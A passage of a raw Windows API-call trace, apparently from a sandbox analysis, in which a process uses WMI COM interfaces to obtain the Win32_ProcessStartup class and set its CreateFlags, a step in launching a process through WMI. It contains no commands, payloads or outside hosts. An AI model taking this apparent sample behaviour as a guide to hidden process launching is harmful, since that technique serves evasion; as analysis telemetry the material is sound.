This=0x1bf770b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf29e20) returned 0x0 [0084.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96720) returned 0x0 [0084.810] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96720, pProxy=0x1bf29e20, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0084.810] WbemLocator:IUnknown:Release (This=0x1bf96720) returned 0x1 [0084.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96760) returned 0x0 [0084.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96720) returned 0x0 [0084.810] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96720, pProxy=0x1bf29e20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0084.810] WbemLocator:IUnknown:Release (This=0x1bf96720) returned 0x2 [0084.811] WbemLocator:IUnknown:Release (This=0x1bf96760) returned 0x1 [0084.811] CoTaskMemFree (pv=0x11dd000) [0084.811] WbemLocator:IUnknown:AddRef (This=0x1bf29e20) returned 0x2 [0084.811] WbemLocator:IUnknown:Release (This=0x1bf770b0) returned 0x0 [0084.811] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0084.811] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0084.811] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96730) returned 0x0 [0084.812] WbemLocator:IRpcOptions:Query (in: This=0x1bf96730, pPrx=0x1bf76fb0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0084.812] WbemLocator:IUnknown:Release (This=0x1bf96730) returned 0x2 [0084.812] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0084.812] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0084.812] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29e20, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf29e20) returned 0x0 [0084.812] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x2 [0084.812] SysStringLen (param_1=0x0) returned 0x0 [0084.812] WbemDefPath:IWbemPath:GetText (in: This=0x1c030470, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0084.812] WbemDefPath:IWbemPath:GetText (in: This=0x1c030470, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0084.813] IWbemServices:GetObject (in: This=0x1bf29e20, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c0297b0, ppCallResult=0x0) returned 0x0 [0084.814] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0084.814] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0084.815] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0084.815] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0084.815] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0084.815] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0084.815] IUnknown:Release (This=0x111f638) returned 0x1 [0084.817] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf770b0) returned 0x0 [0084.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf770b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0084.818] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf770b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c0305f0) returned 0x0 [0084.818] WbemDefPath:IUnknown:Release (This=0x1bf770b0) returned 0x0 [0084.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c0305f0) returned 0x0 [0084.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0084.818] WbemDefPath:IUnknown:AddRef (This=0x1c0305f0) returned 0x3 [0084.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0084.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0084.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf76fd0) returned 0x0 [0084.818] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76fd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.818] WbemDefPath:IUnknown:Release (This=0x1bf76fd0) returned 0x3 [0084.818] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0084.819] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0084.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0084.819] WbemDefPath:IUnknown:Release (This=0x1c0305f0) returned 0x2 [0084.819] WbemDefPath:IUnknown:Release (This=0x1c0305f0) returned 0x1 [0084.819] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0084.819] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0084.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0305f0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c0305f0) returned 0x0 [0084.819] WbemDefPath:IUnknown:AddRef (This=0x1c0305f0) returned 0x3 [0084.819] WbemDefPath:IUnknown:Release (This=0x1c0305f0) returned 0x2 [0084.819] WbemDefPath:IWbemPath:SetText (This=0x1c0305f0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0084.819] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949788*=0, plFlavor=0x294978c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949788*=19, plFlavor=0x294978c*=0) returned 0x0 [0084.819] IWbemClassObject:Get (in: This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949788*=19, plFlavor=0x294978c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949788*=19, plFlavor=0x294978c*=0) returned 0x0 [0084.819] IWbemClassObject:Put (This=0x1c0297b0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0084.819] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0303b0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0084.820] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.820] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0084.820] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.820] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0084.820] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0084.820] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0084.820] IUnknown:Release (This=0x111f638) returned 0x1 [0084.822] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf76f30) returned 0x0 [0084.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76f30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0084.822] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76f30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3bc40) returned 0x0 [0084.822] WbemDefPath:IUnknown:Release (This=0x1bf76f30) returned 0x0 [0084.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3bc40) returned 0x0 [0084.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0084.823] WbemDefPath:IUnknown:AddRef (This=0x1bf3bc40) returned 0x3 [0084.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0084.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0084.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf76f70) returned 0x0 [0084.823] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76f70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.823] WbemDefPath:IUnknown:Release (This=0x1bf76f70) returned 0x3 [0084.823] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0084.823] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0084.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0084.823] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x2 [0084.823] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x1 [0084.823] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0084.823] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0084.823] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3bc40) returned 0x0 [0084.824] WbemDefPath:IUnknown:AddRef (This=0x1bf3bc40) returned 0x3 [0084.824] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x2 [0084.824] WbemDefPath:IWbemPath:SetText (This=0x1bf3bc40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0084.824] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0084.824] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0084.824] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.824] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0084.824] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0084.824] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0084.824] IUnknown:Release (This=0x111f638) returned 0x1 [0084.826] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf76ed0) returned 0x0 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76ed0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0084.827] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf76ed0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf76df0) returned 0x0 [0084.827] WbemLocator:IUnknown:Release (This=0x1bf76ed0) returned 0x0 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf76df0) returned 0x0 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0084.827] WbemLocator:IUnknown:AddRef (This=0x1bf76df0) returned 0x3 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0084.827] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0084.827] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0084.828] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0084.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0084.828] WbemLocator:IUnknown:Release (This=0x1bf76df0) returned 0x2 [0084.828] WbemLocator:IUnknown:Release (This=0x1bf76df0) returned 0x1 [0084.828] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0084.828] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0084.828] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76df0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf76df0) returned 0x0 [0084.828] WbemLocator:IUnknown:AddRef (This=0x1bf76df0) returned 0x3 [0084.828] WbemLocator:IUnknown:Release (This=0x1bf76df0) returned 0x2 [0084.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0084.828] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0084.828] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, 